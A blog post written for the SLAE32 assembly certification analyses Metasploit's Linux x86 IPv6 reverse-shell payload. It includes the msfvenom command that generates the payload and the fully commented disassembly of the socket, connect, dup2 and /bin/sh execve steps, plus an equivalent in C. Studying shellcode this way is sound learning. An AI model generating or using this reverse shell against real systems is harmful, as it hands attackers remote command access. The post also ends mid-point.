SLAE32 - Assignment 5.4

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-30398

Source code

The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.

List of files:

Analysis

I chose the following 4 shellcode samples:

Name Description
linux/x86/adduser Create a new user with UID 0
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6

In this post I'll analyse linux/x86/shell_reverse_tcp_ipv6.

NDISASM

To generate the payload:

msfvenom -p linux/x86/shell_reverse_tcp_ipv6 LHOST=fe80::250:56ff:fe22:364b LPORT=4444 -o shellcode.bin

To analyze it with ndisasm:

ndisasm shellcode.bin -b 32 -p intel

It returns the following output (comments are mine though):

; EDX:EAX = EBX * 0
xor ebx,ebx
mul ebx
Useful for polymorphism: besides EBX, they clear EAX and EDX too
; IPPROTO_TCP
push byte +0x6

; SOCK_STREAM
push byte +0x1

; AF_INET6
push byte +0xa

; pointer to arguments of socket()
mov ecx,esp

; call socketcall(SYS_SOCKET, ...)
mov al,0x66
mov bl,0x1

; C code: socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int 0x80

The instructions above create a TCP socket based on the IPv6 protocol. The return value, stored into the register EAX (and later moved into ESI), is a file descriptor.

; save File Descriptor of the socket
mov esi,eax

; clear ECX and EBX and push 0x00000000 to the stack
xor ecx,ecx
xor ebx,ebx
push ebx
I don't know exactly why the author pushed the DWORD 0x00000000 two times, thus making the struct 32-bytes long, when the size should be only 28 bytes. If you know, please contact me.
; bytes 24-27 of the sockaddr_in6 struct:
;   value of sin6_scope_id: 0x00000000
push ebx

; bytes 8-23 of the sockaddr_in6 struct:
;    value of sin6_addr: fe80::250:56ff:fe22:364b (big-endian)
push dword 0x4b3622fe
push dword 0xff565002
push byte +0x0
push dword 0x80fe
Bytes in big-endian order representing the IPv6 address: fe80::250:56ff:fe22:364b
; bytes 4-7 of the sockaddr_in6 struct:
;   value of sin6_flowinfo: 0x00000000
push ebx

; bytes 2-3 of the sockaddr_in6 struct:
;   value of sin6_port: port 4444 in big-endian order
push word 0x5c11

; bytes 0-1 of the sockaddr_in6 struct:
;   value of sin6_family: AF_INET6
push word 0xa

; save the pointer to the sockaddr_in6 struct into ECX
mov ecx,esp

; 3rd argument of connect():
;   size of the sockaddr_in6 struct (28 bytes): 
push byte +0x1c

; 2nd argument of connect():
;   pointer to the sockaddr_in6 struct
push ecx

; 1st argument of connect():
;   File Descriptor of the client socket
push esi

; clear registers
xor ebx,ebx
xor eax,eax

; socketcall() syscall
mov al,0x66

; 1st argument of socketcall():
;   SYS_CONNECT call
mov bl,0x3

; 2nd argument of socketcall():
;   pointer to the arguments of SYS_CONNECT
mov ecx,esp

; call socketcall() syscall, in turn calling connect(...)
int 0x80

The disassembly I analyzed up until now can be converted into the following C code:

// create an IPv6 socket
int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

// allocate space for the struct containing IPv6 address and TCP port
struct sockaddr_in6 addr;

// set the socket to use IPv6
addr.sin6_family = AF_INET6;

// convert the TCP port number to big-endian (instead of little-endian)
addr.sin6_port = htons(4444);

// convert the string to an IPv6 address (big-endian)
inet_pton(AF_INET6, "fe80::250:56ff:fe22:364b", &(addr.sin6_addr));

// connect to fe80::250:56ff:fe22:364b:4444
connect(fd, (struct sockaddr *)&addr, sizeof(addr));

So, first it creates a TCP socket based on the IPv6 protocol.

After that, it connects the socket referred to by the file descriptor fd to the address identified by:

Next, the function dup2 is used for redirecting file descriptors.

; clear EBX, setting it to 0
00000046  31DB              xor ebx,ebx

; compare EAX with EBX, if they are equal,
;   the flag ZF will be set, as cmp
;   simply subtracts the bytes
00000048  39D8              cmp eax,ebx

; if the flag ZF is set, and the two registers are equal,
;   then jumps to 00000082 (calls nanosleep())
0000004A  7536              jnz 0x82

; 2nd argument of dup2():
;   newfd: file descriptor to be redirected,
;   in this case stdin
0000004C  31C9              xor ecx,ecx

; clear ECX, EDX, EAX
0000004E  F7E1              mul ecx

; 1st argument of dup2():
;   oldfd, i.e. the destination of the redirection of
;   the file descriptor specified in the arg. newfd (ECX)
00000050  89F3              mov ebx,esi

; call syscall dup2()
00000052  B03F              mov al,0x3f
00000054  CD80              int 0x80
Redirect stdin to the previously-created socket
; clear EAX
xor eax,eax

; 2nd argument of dup2(): stdout
inc ecx

; 1st argument of dup2(): the IPv6 socket
mov ebx,esi

; call syscall dup2()
mov al,0x3f
int 0x80
Redirect stdout to the previously-created socket
; clear EAX
xor eax,eax

; 2nd argument of dup2(): stderr
inc ecx

; 1st argument of dup2(): the IPv6 socket
mov ebx,esi

mov al,0x3f
int 0x80
Redirect stderr to the previously-created socket

So far the disassembly I analyzed is equal to the following C code:

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);

Next, a shell is spawned.

; clear EDX and EAX
; 3rd argument of execve(): envp
;   array of pointers to strings (env. variables)
; in this case it's a null pointer
xor edx,edx
mul edx

; push a string to the stack and add 4 null bytes at the end
;   string: /bin//sh
push edx
push dword 0x68732f2f
push dword 0x6e69622f

; 1st argument of execve(): pathname, a pointer to the
;   executable to run
mov ebx,esp

; array of pointers to command-line arguments
;   - EBX -> "/bin//sh"
;   - EDX -> 0x00000000 
push edx
push ebx

; 2nd argument of execve(): argv
;   array of pointers to strings (command-line arguments)
mov ecx,esp

; call execve() syscall
mov al,0xb
int 0x80

As for the second assignment, once the shellcode correctly redirected stdin, stdout, and stderr to the file descriptor of the server socket (a metasploit handler to be specific), it uses execve to spawn the reverse shell.

In this case it uses the shell /bin//sh, as the string occupies only 8 bytes, but we could also replace it with /bin/bash.

If the shellcode can't connect to the remote server, then it jumps to the address 00000082, which is the start of a block of assembly instructions that call the syscall nanosleep() in order to sleep for 10 seconds:

; I don't know why the use of this instruction.
; Once the shellcode spawns a shell, the code of the program
; should be replace, so it seems useless
ret

; clear EBX and push 0x00000000 to the stack
xor ebx,ebx
push ebx  

; push the DWORD 0x0000000a to the stack
push byte +0xa

; clear EAX and EDX
mul ebx

; 1st argument of nanosleep():
;   pointer to a timespec structure
mov ebx,esp

; call nanosleep()
mov al,0xa2
int 0x80

The interesting fact about nanosleep is that it doesn't simply use a integer to determine how many seconds/nanoseconds to sleep, but it uses a struct.

According to the Linux manual, it is structured as follows:

struct timespec {
    time_t tv_sec;        /* seconds */
    long   tv_nsec;       /* nanoseconds */
};

Based on a few files of the Linux kernel, the size of time_t should be 4 bytes on 32-bit x86 systems, same for the long type. So we're looking at a struct made out of 8 bytes.

The first 4 bytes specify the number of seconds to sleep, while the other ones specify the number of nanoseconds to sleep.

Since the stack grows downward, we have to push the value of tv_nsec to the stack first, and then push the value of tv_sec.

Let's look again at the struct:

; clear EBX
xor ebx,ebx

; push the value of tv_nsec to the stack
; sleep 0 nanoseconds
push ebx  

; push the value of tv_sec to the stack
; sleep 10 seconds
push byte +0xa

; clear EAX and EDX
mul ebx

; 1st argument of nanosleep():
;   pointer to a timespec structure
mov ebx,esp

Once the shellcode sleeps 10 seconds, it goes back attempting to connect to the remote server (address 00000014):

; go back to 00000014 (to connect to the remote server)
jmp 0x14

; apparently, this instruction is never going to be executed 
ret

Finally, there are some instructions that call the syscall exit(), in order to exit gracefully.

; call exit() syscall
xor eax,eax
mov al,0x1
int 0x80

From what it seems, this last syscall is never executed. In fact, there are only two possibilities:

Perhaps these instructions were added for conformity with other Linux executable, in order to avoid standing out.